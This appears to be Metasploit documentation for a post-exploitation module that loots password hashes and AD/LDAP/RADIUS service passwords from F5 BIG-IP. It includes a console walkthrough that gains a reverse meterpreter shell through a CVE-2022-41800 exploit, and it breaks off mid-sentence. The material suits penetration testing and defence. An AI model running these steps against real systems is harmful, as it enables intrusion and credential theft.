## Vulnerable Application

The application is F5 Big-IP, and I don't think the versions matters but I
tested on version 17.0.0.1. It can be downloaded as a VMWare image for free
(you have to create an account) from https://downloads.f5.com. You can register
for a free 30-day trial if you like, but it's not required to test this.

Boot the VM and set an admin password by logging in with the default credentials
(admin / admin). You'll need that password.

## Verification Steps

1. Install the application
2. Start `msfconsole`
3. Do: Get any session somehow (`exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800` works well on 17.0.0.1 and earlier, or just use `msfvenom` w/ a Linux payload)
4. Do: `use post/linux/gather/f5_loot_mcp`
5. Do `set SESSION <sessionid>`
6. Do: `run`
7. You should get the info

## Options

### GATHER_HASHES

If `true`, read a list of local users and passwords (`userdb_entry` values) from mcp.

Default: true

### GATHER_SERVICE_PASSWORDS

If `true`, read upstream service passwords (active directory, LDAP, etc) from different parts of mcp.

Default: true

### GATHER_DB_VARIABLES

If `true`, read configuration information from mcp (note that this is slow).

Default: false (due to the speed)

## Scenarios

### F5 Big-IP 17.0.0.1 with a root session

First, get a non-root session however you can. I used the rpmspec vuln:

```
msf > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set HttpPassword mybigtestpassword
HttpPassword => iagotestbigip
msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set RHOST 10.0.0.162
RHOST => 10.0.0.162
msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit

meterpreter > bg
```

Then just use the module, set the SESSION, and run it:

```
msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > use post/linux/gather/f5_loot_mcp
msf post(linux/gather/f5_loot_mcp) > set SESSION 1
SESSION => 1
msf post(linux/gather/f5_loot_mcp) > set VERBOSE true
VERBOSE => true
msf post(linux/gather/f5_loot_mcp) > show options

Module options (post/linux/gather/f5_loot_mcp):

   Name                       Current Setting  Required  Description

   GATHER_HASHES              true             yes       Gather password hashes from mcp
   GATHER_UPSTREAM_PASSWORDS  true             yes       Gather upstream passwords (ie, LDAP, AD, RADIUS, etc) from mcp

The module logs information to the Metasploit database (when connected):
